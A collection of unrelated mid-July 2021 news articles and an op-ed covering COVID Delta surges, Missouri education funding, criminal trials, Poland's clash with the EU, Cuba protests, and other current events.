He further said that he fears that Italy may be hoping to deter migrants, asylum seekers and refugees from attempting the journey to the countrys shores by blocking rescue ships from operating at sea.

There is this idea that if there is no search and rescue, people will stop coming, but as we have observed, even today people are probably attempting to cross, even if there is no search and rescue capacity and we know from observing in the last months and years, this doesnt impact the influx, he said.

In a meeting in May, both Italian Interior Minister Luciana Lamorgese and Libyan Interior Minister Khaled Tijani Mazen expressed their commitment to ensuring full respect for the human rights of migrants and in particular people in need of international protection.

They also stressed the need for more effective management of migration, however, with emphasis placed on the EUs role in helping manage migration flows.
As a seasoned professional educator, I am accustomed to national and state level lawmakers seeking control of my curriculum and holding the schools budget hostage to pass legislation that fulfills their personal agenda. Before the Missouri General Assembly finally passed the federal reimbursement allowance tax critical to Medicaid funding on June 30, these lawmakers once again threatened education and other key areas, because the bills language wasnt pro-life enough. But to support life is to support education.

Quality education is the core to a thriving economy and a footpath to success for our future generations. But for ultraconservative states such as Missouri, legislation is going back in time. Gov. Mike Parsons declaration that all life has value and is worth protecting does not match his actions. In May 2019, Parson issued a response to the states extreme right-wing Republicans decision to ban abortion, even in cases of rape and incest, after only eight weeks of pregnancy. Parson said: By signing this bill  we are sending a strong signal to the nation that, in Missouri, we stand for life, protect womens health, and advocate for the unborn. All life has value and is worth protecting.

Missouri is a state that invests little in child care and education. Nicole Galloway, Parsons 2020 Democratic challenger in the gubernatorial race and current state auditor released data in May showing Missouri ranks 49th in the nation for state school funding. Every life may have value, but not every child will receive the opportunity for a quality education.

Missouri lawmakers have put forth an infrastructure plan that would leave the states education system in shambles. On May 6, Missouri passed a bill for a tax credit program to pay for students to attend private schools. Under the bill, privileged donors contribute money to nonprofits that fund scholarships, school tuition, transportation, extra tutoring and other education-related expenses  in other words, a limited school voucher system.

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There is a finite number of top-performing private schools in rural areas. This begs the question: Who benefits from the voucher system? Parents and students should have access to the best education, but considering our pathetic ranking in school funding from state resources, what could public schools accomplish if lawmakers fully funded them?

In August 2020, Missouri voters decided to expand Medicaid. As a progressive living in a red state, I was elated and surprised by this decision. We were heading in the direction toward valuing life  until the GOP ignited a war on not only health care access for low-income individuals, but also on Planned Parenthood, contraceptives and education.

When lawmakers voted to fund Medicaid last month, it was not without resistance from the GOP. State Rep. Nick Schroer, who was behind the 2019 abortion ban, told The Missouri Times, I am incredibly disheartened and disappointed in the (state) Senate neglecting to uphold their promise to Missourians that they will protect life at all levels. Republican lawmakers stand proud for taking a defiant stance defending the lives of the unborn. Maybe if they fought this hard for funding education, the state would not be in such an inauspicious position.

In contrast to the states current policies, providing education and access to free birth control to women, specifically in low-income areas, would substantially reduce abortions and unplanned pregnancies. Colorados abortion rates have plummeted after it offered free IUDs and easier access to birth control pills (and the state expanded Medicaid). Data from the Centers for Disease Control and Prevention likewise shows that the rate of abortions has dropped significantly since Roe v. Wade and since access to contraceptive and education has been widely available.

I agree with Gov. Parson: All life has value and is worth protecting. But I also believe our unborn and our children deserve better than what we are giving them. Missouri is sending a strong message, but not the message that supports life.

Kayla Branstetter is from Purdy, Missouri, where she taught secondary English for 10 years before transitioning into higher education.
A woman in St. Louis gets the COVID-19 vaccine. Michael Thomas/Getty Images

With the highly-contagious Delta variant spreading across the country, the number of new coronavirus cases is surging in 45 states, with just Maine, South Dakota, and Iowa reporting decreases in new cases over the past week versus the previous week. In Delaware and Arkansas, the rates of new cases are remaining steady.

Data from Johns Hopkins University shows that in 34 states, the number of new cases in the past week compared to the previous week are at least 50 percent higher. Doctors say that the vast majority of the new coronavirus cases, hospitalizations, and deaths are among people who have not received COVID-19 vaccines.

Missouri has one of the lowest vaccination rates in the country, with about 45 percent of residents receiving at least one dose, and the state is dealing with one of the worst outbreaks of the Delta variant. The seven-day average of new cases is close to 1,400 per day, up 150 percent from last month. To try to help combat the spread of the virus, a surge team comprised of members of the Centers for Disease Control and Prevention and Federal Emergency Management Agency has been sent to the state.

Dr. Howard Jarvis is an emergency physician in Springfield, and told CNN that if a patient is "sick enough to be admitted to the hospital, they are unvaccinated. That is the absolute common denominator amongst those patients." Before COVID-19 vaccines were available, Jarvis said doctors were seeing "a much older patient population in the emergency department and getting admitted to the hospital. In recent weeks, we've been seeing a much younger population. We're seeing a lot of people in their 30s, 40s, early 50s. We're seeing some teenagers and some pediatric patients as well."

In St. Louis County, officials said the rate of new cases increased by 63 percent over the last two weeks, with County Executive Sam Page warning that "a tidal wave is coming towards our unvaccinated populations. The variant is spreading quickly, and this variant has the ability to devastate those in its wake. And that is why it is so critical to get vaccinated now."

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RABAT (Reuters) - Morocco plans to send 100 intensive care beds and a similar number of ventilators to help Tunisia tackle a surge in COVID-19 cases, Rabat's foreign ministry said on Tuesday.

Morocco joins other Arab states which promised to help the North African country as it struggles to contain its worst coronavirus outbreak since the pandemic began, putting its health care system under severe stress and depleting oxygen supplies.

Intensive care units are full and there is a severe shortage of oxygen, officials said.

The total number of coronavirus cases so far in Tunisia has climbed to 497,613, including 16,388 deaths.

(Reporting by Ahmed Eljechtimi; Editing by Chris Reese)
Myanmar is set to receive six million Covid-19 vaccines from China by August, a government official said Wednesday, as cases surge in the coup-wracked country.

The military government has "bought four million" doses and Beijing will donate a further two million, a senior official from the information ministry told AFP on condition of anonymity.

The first one million doses would arrive during the last week of July, the official added.

They did not give details on which vaccine China would supply, or a precise arrival date for the remaining five million.

Myanmar is confronting a new outbreak with thousands of health workers on strike against the February coup, which ousted civilian leader Aung San Suu Kyi.

On Wednesday, the State Administration Council -- as the military junta calls itself -- reported more than 7,000 new cases, up from fewer than 50 per day in early May.

In recent days, hundreds have queued for oxygen supplies across the commercial capital Yangon and the second city of Mandalay, AFP images showed.

Over 4,100 have died from the virus in Myanmar, according to official figures, although analysts say the true toll is likely higher.

Around 1.75 million people have so far been vaccinated in the country of 54 million, according to authorities.

Beijing enjoys exceptional leverage over Myanmar and has refused to label the military action a coup.

Earlier this month, state media reported junta leader Min Aung Hlaing had agreed to buy two million vaccines from Russia -- another major ally -- without specifying which shot.

Myanmar's creaking healthcare system had struggled to respond to Covid even before the generals' putsch.

Swathes of the country were put under partial lockdown last year, although enforcement was often lax in the developing nation where many face a stark choice between following regulations and feeding their families.

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The Netherlands will reinstate work-from-home guidelines just weeks after lifting them as COVID-19 infections surge, Dutch Prime Minister Mark Rutte said Wednesday, per Reuters.

Why it matters: The move comes amid a soaring COVID-19 case rate and follows restrictions reimposed last week on bars, restaurants and clubs, a further reversal of the Dutch government's recent reopening of the country to some pre-pandemic activity.

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The government has further canceled all multi-day festivals and events with large crowds until August 14.

The recent infections are largely driven by the Delta variant, with the government saying that most of the contractions "have occurred in nightlife settings and parties with high numbers of people."

By the numbers: As of Wednesday, the Netherlands had recorded more than 1.7 million confirmed COVID-19 cases and 18,054 deaths since the beginning of the pandemic, per data from Johns Hopkins University.

What they're saying: "What we thought would be possible, turned out not to be possible in practice," Rutte said on easing restrictions Monday, per Reuters.

"We had poor judgment, which we regret and for which we apologize," he added.

Go deeper: Netherlands reimposes COVID restrictions as Delta variant cases surge

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FARGO, N.D. (AP)  A North Dakota man was convicted of murder on Wednesday for killing his mother and a police officer during a shootout as authorities tried to evict the pair from their apartment last year.

Salamah Pendleton, 42, opened fire on Officer Cody Holte and other officers in May 2020 while they were trying to serve papers evicting him and his mother, Lola Moore, from their Grand Forks apartment for what authorities called a lack of rent payment and lease agreement violations. Pendleton shot his mother while firing wildly on the officers after they entered the home and he killed Holte during a second round of gunfire. Pendleton and a sheriff's deputy were wounded in the gun battle.

In addition to the two murder counts, the jury convicted Pendleton of two counts of attempted murder, terrorizing, reckless endangerment and possession with the intent to deliver marijuana. He was found not guilty of one count of attempted murder and criminal mischief.

Grand Forks Police Chief Mark Nelson issued a statement to acknowledge the professionalism, sacrifice, and dedication shown by those involved in the trial.

We accept this verdict as the outcome of our justice system, and will continue to move forward and heal; as individuals, an organization, and a community, Nelson said.

Pendleton faces life in prison without the possibility of parole. A sentencing hearing is scheduled for Oct 15.

Testimony in the livestreamed trial in Grand Forks began on July 2. Jurors started deliberating Tuesday afternoon.

Defense attorney Steven Mottinger told the jury during closing arguments Tuesday that Pendleton had been experiencing extreme emotional disturbance on the day of the killings because the officers came to evict him and his mother despite the stress of COVID-19 which Pendleton said had them in self-quarantine early in the pandemic.

Pendleton also thought the officers had killed his mother, but ballistics tests showed the bullet was from Pendleton's semiautomatic rifle.

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Grand Forks County prosecutor Carmell Mattison said Pendleton prepared for the confrontation by stocking up on ammunition and that he fired a minimum of 48 rounds using a high velocity weapon with full metal jacket bullets.

During the first exchange, Pendleton shot 20 rounds blindly through the bedroom wall, not knowing who was on the other side, Mattison said.

The only person who was prepared on May 27, 2020, was the defendant, Mattison said. Pendleton was waiting for law enforcement to open that door so he could pull the trigger, she said.

Pendleton testified Monday that he didnt mean to kill anyone and that his mother was unintentionally struck by a ricocheting bullet from his rifle. He said that after he saw his mothers body lying in a pool of blood, I lost my mind and I didnt know what to do.

Mattison said there is no evidence that officers fired first, as Pendleton insisted. When Nord broke into Pendletons bedroom, it took less than a second before Pendleton fired a bullet that whizzed by his head, according to investigators.

Holte, 29, was the first officer to be killed in Grand Forks since 1966 and the 58th police officer in the state to die while on duty.
Prosecutors in Platte and Clay counties have urged Kansas City police to keep sending them drug cases to prosecute, even if they are low-level arrests.

In a joint letter Wednesday, Platte County Prosecutor Eric Zahnd and Clay County Prosecutor Daniel White asked police not to make any policy change that would restrict drug cases from being referred to their offices.

Their request came after Jackson County Jean Peters Baker wrote to the Kansas City Board of Police Commissioners earlier this month asking the police department to stop sending her office hundreds of low-level drug crimes and instead refocus their efforts on the citys epidemic of violence.

Bakers letter informed police that her office has created more narrow guidelines for drug cases, and prosecutors will charge drug crimes only when the defendant poses a violent threat to the public.

Zahnd and White say illegal drugs fuel violent crime in communities north of the Missouri River. They say homicides are tied to sale and distribution of illegal drugs.

For this reason, to us, it only makes sense to do everything we can to intervene before violence occurs, not only after, the letter said. Therefore, we ask that KCPD continue to refer drug cases to our offices regardless of whether individual cases have a discernible connection to violence.

The Northland prosecutors say early intervention would allow their offices to assist nonviolent offenders to get help through county drug treatment courts, diversion programs and other efforts.

In her letter to Kansas City police, Baker said her office concluded that in 2019, about 25% of drug cases within four years had nexus to violence, when considering factors such as gun crimes or physical violence. That meant roughly 75% had no discernible connection to violence.

Each year, KCPD refers more than 1,400 felony drug cases to Jackson County prosecutors.

An analysis showed that while Black people make up 39% of the population, they accounted for 54% of drug suspects referred for charges by the police department from 2017 to September 2020 in Jackson County.

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White residents, on the other hand, were referred for charges in 42% of drug cases, while making up 48% of the population, she said.

Baker noted the departments current drug enforcement strategy made communities less safe and less willing to cooperate with authorities because of a lack of trust. Many drug possession cases often begin with a traffic violation or a minor crime.

In their letter, Zahnd and White said they were not involved in the discussions that Baker had with KCPD.

Zahnd and White said they are willing to discuss this further with the police board.

Wherever KCPD lands on this issue, we are unwilling to create a system that would substitute an individual prosecutors feelings for the laws of this state, decimate Drug Treatment Courts, and, most importantly, undermine the safety of our community, they said.
Florida governor Ron deSantis announcing return of cruises in April (Getty Images)

Norwegian Cruises is reportedly suing Florida for banning Covid certificates, or vaccine passports, in what it has called an impossible dilemma if cruises are to return.

The company, in a complaint filed in the US district court of Miami, is asking for Floridas ban on Covid certifications to be invalidated before vessels start sailing next month, according to The Washington Post.

Cruise firms sailing from Florida cannot ask customers for proof of Covid vaccination prior to boarding, after a law championed by Governor Ron DeSantis was introduced in the spring.

Lawyers for Norwegian wrote in the complaint that it faced an impossible dilemma as it prepares to set sail from Florida, and was caught between Florida and federal laws on Covid.

Norwegian Cruise Line Holdings (NCLH) will find itself either on the wrong side of health and safety and the operative federal legal framework, or else on the wrong side of Florida law, the company wrote.

It added that It gives us no pleasure to be pursuing this lawsuit, which was our last resort.

If Floridas ban stands, then the only way NCLH can require vaccine documentation and maximise safety, comfort, and confidence would be by eschewing operations in Florida. That would be a tragedy for all concerned.

A spokesperson for Mr DeSantis, Christina Pushaw, told The Post that Norwegian was discriminating against customers without Covid vaccinations, including children, whom it will not allow onboard when it restarts.

Ms Pushaw claimed that Norwegian prefers the shackles of the US Centers of Disease Control and Prevention (CDC) rather than Floridas freedoms, with CDC advice a recommendation rather than a law.

In June, a court ruled in favour of Floridas ban on Covid certificates after Mr DeSantis challenged the CDCs order for cruises to sail with 95 per cent of those onboard vaccinated. It is now non-binding.

The Florida law, meanwhile, could see cruise lines fined $5,000 (3,600) per customer banned from boarding.

Story continues

Read More

DeSantis parts with Trump in response to Surfside tragedy

Faucis hilarious description of Olivia Rodrigo as she heads to White House to promote vaccines

Mass casualty event happening in slow motion: Covid runs rampant in under-vaccinated Missouri as Delta threat grows
Jul. 14Ohio Secretary of State Frank LaRose used a stop in Toledo on Tuesday to remind voters of a program that helps domestic abuse victims keep their street addresses private in their public voter registration records.

"You talked about the long path to recovery and getting your life back together," Mr. LaRose said at the YWCA of Northwest Ohio, which operates a domestic violence shelter and offers comprehensive related services. "My hope is just one small part of a survivor's journey is to be empowered once again to be a voter."

The law creating the secretary of state's "Safe at Home" program passed in 2015, but the Ohio Senate is reviewing a proposed expansion of it that was approved by the Ohio House of Representatives last spring.

"We know that when we're talking domestic violence that's when the danger really escalates ... it doesn't stop just because someone left that relationship," Rachael Gardner, YWCA domestic violence and sexual violence services director, said. "Safe at Home puts some layers to help that person be safe."

The law hides a participant's permanent residential address in the public record of their voter registration by issuing them a substitute post office box address, making it that much harder for a person's abuser to locate them with public records.

"For most of us that's not a concern. Voting is a public act, it's a community act, so being listed as a registered voter is not a concern," Mr. LaRose said. "For these survivors of violent crime who have a real credible threat against them from a violent person, it presents a real threat to their safety."

Mr. LaRose said this type of program isn't common in many states, and he found Ohio's was underutilized when he came into office in 2019. Only a few hundred people were signed up, but the number has grown to 1,300 since its relaunch earlier this year, he said.

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"We're trying to get the word out so no one has to make the choice between the right to vote and your personal safety," he said.

The expansion pending in the Ohio General Assembly would extend the program to real estate transactions and childcustody cases.

Mr. LaRose, whose office handles business filings as well as elections administration, also hosted a business roundtable at the Toledo Chamber of Commerce on Tuesday.

For more information about Safe at Home, visit ohiosos.gov.
WASHINGTON, DC - JULY 14: Pop music star and Disney actress Olivia Rodrigo arrives at the White House on July 14, 2021 in Washington, DC. Rodrigo is partnering with the White House to promote COVID-19 vaccination outreach to her young fans. (Photo by Chip Somodevilla/Getty Images) ORG XMIT: 775682248 ORIG FILE ID: 1328695311

Happy hump day, OnPolitics friends!

Today a lot of eyeballs were on the White House, where pop star Olivia Rodrigo met with President Joe Biden and his top infectious disease expert Dr. Anthony Fauci to participate in a social media campaign urging young people to get their COVID-19 vaccination shots.

"I am beyond honored and humbled to be here today to help spread the message about the importance of youth vaccinations. I'm in awe of the work President Biden and Dr. Fauci have done and was happy to lend my support for this important initiative," Rodrigo said during a White House press briefing.

"It's important to have conversations with friends and family members encouraging all communities to get vaccinated and actually get to a vaccination site.  Thank you all for helping share this important message. It's so appreciated."

It's Mabinty, with the rest of the news out of Washington.

Want this news roundup in your inbox every night? Sign up for OnPolitics newsletter here.

Senate Democrats have a deal on 'human infrastructure' legislation

Good news for Biden: Senate Democrats reached an agreement Tuesday night on a $3.5 trillion budget plan that would expand Medicare, fund climate change initiatives and fulfill other parts of President Joe Bidens economic agenda that Democrats hope to pass on top of a bipartisan infrastructure bill.

After a lengthy meeting among Democrats on the Senates Budget Committee, Majority Leader Chuck Schumer of New York announced the agreement for a budget reconciliation package that would fund what Biden has called "human infrastructure."

Ok, how much does it cost? Schumer said that when including $600 billion in new spending Biden has proposed in a separate bipartisan infrastructure plan, the amount of new spending comes in around $4.1 trillion  close to Bidens full infrastructure and family agendas.

What does the legislation include?

The proposal includes:

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Expanded caregiving for the disabled and elderly

Universal prekindergarten

Subsidized child care

Free community college

National paid family leave

Extended child tax credits and an assortment of environmental initiatives

Schumer said Democrats also added a plan to expand Medicare  long a battle cry for progressives  including coverage for dental, vision and hearing.

Do Democrats have the votes? Nope. At the White House, press secretary Jen Psaki suggested there are not yet enough votes to pass the package. "If there were enough votes for each of these priorities, there would be a vote, and it would have happened," she said.

Real Quick: Stories you need to read

The youth can buy handguns, court says

A federal appeals court has ruled that prohibitions on selling handguns to Americans under 21 violates the Second Amendment, the latest legal victory for gun rights advocates in federal court.

The background: At issue is a gun control law signed by President Lyndon Johnson in 1968 that banned the sale of handguns to people under 21 years old but permitted the sale of shotguns and rifles to those same people.

A divided U.S. Court of Appeals for the 4th Circuit in Richmond, Virginia, said Tuesday that the law was an arbitrary restriction that relegated 18- to 20-year-olds to a second-class status under the Second Amendment.

What happens now? The decision is likely to be appealed and may eventually reach the Supreme Court.

Want to dress like Olivia, but for less? We got you covered.  Mabinty

This article originally appeared on USA TODAY: Olivia Rodrigo met with Biden, Fauci to push vaccinations for teens
Orlando City will play its first road match in Canada since before the pandemic on Saturday when the team travels to Toronto.

MLS announced the return to home markets this weekend for both Toronto FC and CF Montreal on Wednesday. The decision was made following updates to public health legislation enacted by the Canadian government at the start of July.

Under the new guidelines, Toronto will also be able to host 7,000 fans at BMO Field. Capacity will increase to 15,000 on July 21.

In a statement, the league said the decision was also made with the consideration of the substantial time players and staff have spent away from their home markets, and with Canadian fans and media in mind.

Toronto and Montreal players and staff spent most of the 2020 and 2021 seasons away from their home markets, playing games in foreign stadiums due to travel restrictions between the U.S. and Canada. Before the announcement, Toronto hosted its home matches at Exploria Stadium in Orlando while training at ChampionsGate.

Orlando City CEO Alex Leitao shared appreciation in a post on Twitter for the willingness of the three Canadian clubs, including the Vancouver Whitecaps, to relocate during the pandemic.

Let me take this opportunity to recognize the incredible effort and collaboration that all three teams from Canada had when agreed [to] move to US to keep our competition going, Leitao wrote. Very much appreciated. Thanks and welcome back home.

Following Canadian travel policies, players and staff must have received the COVID-19 vaccine to be allowed to cross the border for away matches. Every player on the Orlando City roster has received the vaccine, according to a club source.

The Lions will kick off against Toronto FC at BMO Field at 7:30 p.m. on Saturday.

This article first appeared on OrlandoSentinel.com. Email Julia Poe at jpoe@orlandosentinel.com.
Over 150 companies, including PepsiCo, Amazon and Target, urged Congress to pass the John Lewis Voting Rights Advancement Act, in a letter published Wednesday.

Why it matters: The companies, which collectively employ 4 million U.S. workers, expressed support for the sweeping bill that is named after civil rights leader and former Rep. John Lewis (D-Ga.), who died last year.

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The bill would restore an updated version of the Justice Department's preclearance authority to approve voting changes in jurisdictions with a history of discrimination.

Other signatories include Macys, Ikea, Nestle USA, Patagonia and Cisco.

What they're saying: Despite decades of progress, impediments to exercising the right to vote persist in many states, especially for communities of color, the group wrote in a letter to members of Congress.

We need federal protections to safeguard this fundamental right for all Americans," the letter reads.

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Pet fish are not wild fish.

City officials in Burnsville, Minnesota, recently tweeted out a warning against dumping pet fish in the wild after a large number of goldfish were found in one of the citys waterways.

It was the latest example of large pet fish being found in lakes or rivers across the country.

During a water quality survey of Keller Lake earlier this month, the Associated Press reported that 10 goldfish were discovered. On Monday, an additional 18 were found, some of which were 18 inches long and weighed up to four pounds.

RECORD-BREAKING FISH CAUGHT IN NORTH CAROLINA: LOOKED LIKE A WHALE IN THE BACK OF THE BOAT

The citys official Twitter account posted a message about the fish, writing, "Please don't release your pet goldfish into ponds and lakes! They grow bigger than you think and contribute to poor water quality by mucking up the bottom sediments and uprooting plants. Groups of these large goldfish were recently found in Keller Lake."

Minnesota is one of several states to post warnings against dumping pet goldfish in recent months.

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Fox News previously reported that the Virginia Department of Wildlife Resources confirmed that an angler had set a new record after catching a 3 pound, 9-ounce goldfish in Hunting Creek. He had originally caught the fish in late May during a fishing trip on the Potomac River, but the record was only just confirmed.

The department posted on its Facebook page, "The introduction of goldfish to waterbodies is illegal in Virginia. Pet owners should never release their aquatic organisms into the wild as unforeseen impacts can occur including disease, competition, and predation."

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Around the same time that the Virginia angler's record was being certified, an angler in Missouri caught a 9-pound butterfly koi fish at Blue Spring Lakes Remembrance. The Missouri Department of Conservation posted a similar warning about the dangers of dumping pets.
Australian police have issued a fresh appeal for help to find the remains of Peter Falconio, the British backpacker murdered in the outback 20 years ago.

The 28-year-old was shot dead when he and his girlfriend Joanne Lees were ambushed near Alice Springs in 2001. His body was never found.

Australian man Bradley Murdoch was found guilty of his murder in 2005.

Despite pleas, he has refused to tell authorities where he disposed of Mr Falconio's body.

The Northern Territory police renewed their search appeal on Wednesday, the 20th anniversary of Mr Falconio's disappearance.

They urged "anyone out there with any information" to come forward to police to help "assist Peter's family in gaining some sort of closure".

"We are thinking of Peter's family and friends on this anniversary and remain hopeful that such a milestone may jolt some information and progress the investigation," said Det Snr Sergeant Karl Day.

Murdoch was jailed for a minimum of 28 years after he was convicted of murdering Mr Falconio and assaulting Ms Lees.

The attack on the British couple in 2001 remains one of Australia's most high-profile criminal cases in recent decades.

The pair had been driving along a remote stretch of highway near Barrow Creek, about 200 miles north of Alice Springs when they were waved down by Murdoch in an approaching car.

Murdoch then shot Mr Falconio in the head and assaulted and tied up Ms Lees. She managed to escape, and hid in the bushes for five hours while her attacker stalked her with a dog. She eventually managed to flee to safety after flagging down a passing truck.

Mr Falconio's body is believed to have been hidden by Murdoch somewhere in the vast outback. At his trial, the sentencing judge said he believed Murdoch had taken Mr Falconio's body in his car and dumped it somewhere in the vast outback between Alice Springs and Broome, in Western Australia - a distance of 1,600km (994 miles).

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Despite extensive searches and political pressure, police have never found it.

In 2016, the Northern Territory government even brought in a "no body, no parole" law aimed at pressuring Murdoch to reveal Mr Falconio's whereabouts.

The law prevents convicted murderers from becoming eligible for parole if they do not reveal the location of their victims.

He has continued to resist helping authorities.

Click here to see the BBC interactive
MANILA (Reuters) - The Philippines will ban travellers coming from Indonesia to prevent the spread of the highly contagious Delta COVID-19 variant, the presidential spokesperson said on Wednesday.

The ban will apply to everyone coming from Indonesia or those with recent travel history to the country and will be imposed from July 16 to 31, Harry Roque said in a statement.

(Reporting by Neil Jerome Morales; Editing by Martin Petty)
The Daily Beast

Tyrone Siu/ReutersEver wondered where World War III might break out?A clear and troubling consensus has emerged in the American national security community that the Taiwan Strait is the most likely place for a major war to erupt between the United States and China; that it might start soon, and that such a conflict might quickly escalate into a nuclear confrontation.In March, the leading foreign policy organization in the United States, the Council on Foreign Relations in New York, issued a repo
Jul. 14NEW LONDON  Police officers are investigating a reported stabbing Tuesday night at an apartment building at 195 Williams St.

The building is owned by the New London Homeless Hospitality Center. The center's deputy director said one person was taken to Lawrence + Memorial Hospital after a stabbing, according to Executive Director Cathy Zall. She said the deputy director and the property manager both responded to the scene to make sure the tenants were OK.

Zall did not know the condition of the victim. She said the incident happened near the property, not inside it, and the two people involved were not tenants. The apartments are rented out to people, not necessarily to the homeless, and the HHC is merely the landlord, she said.

The two people involved in the stabbing knew each other and had gotten into an argument, Zall said the deputy director told her.

About three police vehicles were parked outside the building, which is on the corner of Amity and Williams streets, shortly after 9 p.m. Tuesday. Police officers went inside and spoke to people on the porch and others gathered outside.

Officers at the scene said they could not provide any information.

k.drelich@theday.com
Poland's Constitutional Court defied the European Union on Wednesday with a ruling that government critics said puts a question mark over the country's future membership of the bloc.

The court ruled that any interim measures issued by the EU Court of Justice against Poland's controversial judicial reforms were "not in line" with the Polish constitution.

"We are in the process of a legal Polexit which is taking place step by step," Poland's independent human rights ombudsman Adam Bodnar told reporters after the ruling.

Former EU chief Donald Tusk, head of the opposition Civic Platform party, accused the governing right-wing populist Law and Justice (PiS) party of "leaving the EU".

"Only we Poles can successfully oppose this," he tweeted.

But Justice Minister Zbigniew Ziobro hailed the ruling, saying it was "against interference, usurpation and legal aggression by organs of the European Union".

The ruling came after the EU court earlier on Wednesday issued an interim order for Poland to immediately suspend the activities of the "disciplinary chamber" of the Supreme Court -- a newly established institution set up as part of the reforms.

- 'Polexit from EU legal order' -

Warsaw and Brussels have been at loggerheads for years over reforms pushed through by the PiS government.

The government argues the reforms are necessary to tackle corruption and end Communist-era legacies in the judiciary.

But the European Commission says they undermine rule of law and has sought to bring Poland, as well as Hungary, back into line with what it sees as European democratic norms.

The Constitutional Court itself underwent controversial reforms in 2016 designed by the PiS government, leading critics both in Poland and abroad to argue it is stacked with PiS allies.

The Polish law on reforming the judiciary, which came into force in February last year, prevents judges from referring questions of law to the European Court of Justice and creates a body that rules on judges' independence without regard to EU law.

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It also set up a "disciplinary chamber" to oversee Supreme Court judges, with the power to lift their immunity to expose them to criminal proceedings or cut their salaries.

More confrontation over the reforms is expected on Thursday.

The EU court is set to issue another ruling on the legitimacy of the "disciplinary chamber", while Poland's Constitutional Court is holding a hearing and may rule in a wide-reaching case on whether EU or national law should have primacy in Poland.

The possibility of a clear challenge to the primacy of EU law in Poland has been interpreted by some experts as a tentative first step towards a Polish exit from the EU -- even though opinion polls show EU membership remains very popular among Poles.

Laurent Pech, a professor of European law at Middlesex University London, tweeted that the Constitutional Court decision represented "Polexit from EU legal order".
Pope Francis arrived at the Vatican after being discharged from a Rome hospital Wednesday, 10 days after undergoing scheduled intestinal surgery, AP reports.

Driving the news: The Ford car carrying Francis stopped briefly at the side entrance to Vatican City, where the pope greeted some security guards with the assistance of a bodyguard, per AP.

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The big picture: The pope left Casa Santa Marta, his official residence, for the surgery concerning the symptomatic diverticular stenosis of the colon at a Rome hospital on July 4.

Francis had half of his colon removed in his first major surgery since he became pope in 2013.

Francis has several weeks to recover before he has has plans to visit Hungary and Slovakia in a Sept. 12-15 trip, and then make a stop in Glasgow, Scotland, in November to participate in the COP26 climate conference, per AP.

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Protests calling on the U.S. to provide humanitarian help and military intervention in Cuba amid political unrest continued in Miami on Tuesday, this time under rainy skies at the Tamiami Fairgrounds in West Miami-Dade.

Massive marches and demonstrations demanding an end to Cubas communist regime began over the weekend on the island as people across the country battle shortages of food, basic necessities and COVID-19 vaccines.

Tuesdays protest in Miami, where about 300 people gathered, follows a rally on Sunday where about 5,000 people protested at Versailles Restaurant in Little Havana, as well as others across the county, including one earlier in the day that shut down the Palmetto Expressway.

We have hope that we can have justice. We have hope that the U.S. will intervene so that our people can finally be free! said Jorge Luis Antunez Garcia Perez, who was a political prisoner in Cuba for 17 years. The Cuban government needs to go to hell!

Before a sea of people wearing raincoats and holding umbrellas, Orlando Gutierrez-Boronat, a spokesperson for the Cuban Democratic Directorate and member of the Assembly of the Cuban Resistance, led the group in chant: Patria y Vida, Spanish for Homeland and Life.

God has simultaneously lifted up the people in 30 Cuban cities, Gutierrez-Boronat said. Prayer is our only armor, our only weapon.

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The last time Cubans took to the streets to protest against the communist government was in 1994 and Fidel Castro was alive. But that uprising, known as the Maleconazo, only took place in Havana and didnt last long, as the former Cuban leader quickly turned the demonstrations into a massive exodus after he opened Cubas maritime borders. Thousands of Cubans left the island in makeshift boats and rickety rafts, in what became known as the balsero crisis.

The backdrop to Tuesdays demonstration at Tamiami Park was the Cuban Memorial nearby. The last time people gathered there was in 2016, just hours after the ashes of Fidel Castro, who was 90, were deposited into a crypt in a cemetery in Santiago de Cuba, nine days after he died and was cremated in Havana.

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The memorial honors the martyrs of the Cuban regime. About 10,000 names are etched onto the black marble squares at the site, but Cuban human-rights activist Sylvia Iriondo, founder and president of Mothers Against Repression, an organization that fights for the democratization of Cuba, said the total number of victims far exceeds that number.

May they rest in peace, Garcia Perez said as he led the crowd through puddles with a white rose arrangement in hand that he placed at the memorial.

May you guide us toward freedom as you sit in heaven, he said amid loud chants while looking at the stormy sky. Cuba libre!
A farm worker in Australia accused of inserting sewing needles into strawberries in 2018 had all her charges dropped on Wednesday. Blaine Harrington III/Getty Images

53-year-old My Ut Trinh was due to begin a four-week trial this week in Brisbane.

Prosecutors alleged she was responsible for a series of needles discovered stuck inside of strawberries.

There was a nationwide food safety scare in Australia in 2018 when needles were found embedded in the fruit.

Visit Insider's homepage for more stories.

A farm worker in Australia accused of inserting sewing needles into strawberries in 2018 had charges dropped against her on Wednesday.

Fifty-three-year-old My Ut Trinh was due to begin a four-week trial this week in Brisbane, Queensland, but prosecutors decided not to pursue the case because they felt it was unlikely she would be convicted, reported News.com.au.

She was facing seven charges of "contamination of goods" and another charge of "circumstance of aggravation," according to Queensland police. These charges carry a maximum penalty of 10 years imprisonment.

Prosecutors alleged Trinh placed sewing needles in strawberries between September 2 and 7, 2018, while she was working as a supervisor at Berrylicious Farm in Brisbane.

According to a report from News.com.au, Trinh told a coworker that she was unhappy with management and planned on getting revenge on her employer by putting needles in strawberries to "make them go bankrupt."

The first needle was found in September 2018 by a man who bought a punnet of strawberries from a supermarket. Scores of copycat incidents later followed - police reported around 270 in all, according to The Guardian - triggering a mass recall nationwide.

More than 70 brands were affected, and the strawberry farming industry experienced a market loss of around AU$160 million ($120 million), per Reuters.

Speaking outside the courthouse, Trinh thanked her supporters, telling them she hadn't worked in three years, reported The Guardian.

Trinh's lawyer called it a "complete vindication," and explained "it was a decision made by the Director of Public Prosecutions when they assessed whether or not they could maintain or support a conviction before going before a jury," reported the Brisbane Times.

Read the original article on Insider
Variety

For close to a half-century, anyone who trusts lyric sheets and official artist websites has been certain of one thing: In Bruce Springsteens Thunder Road, Marys dress waves, and it does not sway. No matter what some people might think they hear him singing, its been right there in writing, from the lyrics included with []
(Bloomberg) -- Russian President Vladimir Putin told U.S. climate change envoy John Kerry that the two former Cold War rivals have a chance to cooperate in combating greenhouse gas emissions amid efforts to improve ties following a summit last month.

Putin underlined in a phone call Wednesday with Kerry, whos in Moscow meeting officials, that climate change is one of the areas in which Russia and the U.S. have common interests and a similar approach, the Kremlin said in a statement.

Russia is reluctant to make new commitments on climate amid fears about the potential impact on its economy, which relies heavily on oil and gas exports, even as the State Department said the aim of Kerrys visit was to seek ways of enhancing global climate ambition.

Putins climate adviser, Ruslan Edelgeriyev, told Kerry at talks Tuesday that Russia linked increased climate ambitiousness to access to international carbon markets, the prevention of climate protectionism and the absence of sanctions for climate projects, a Kremlin statement said.

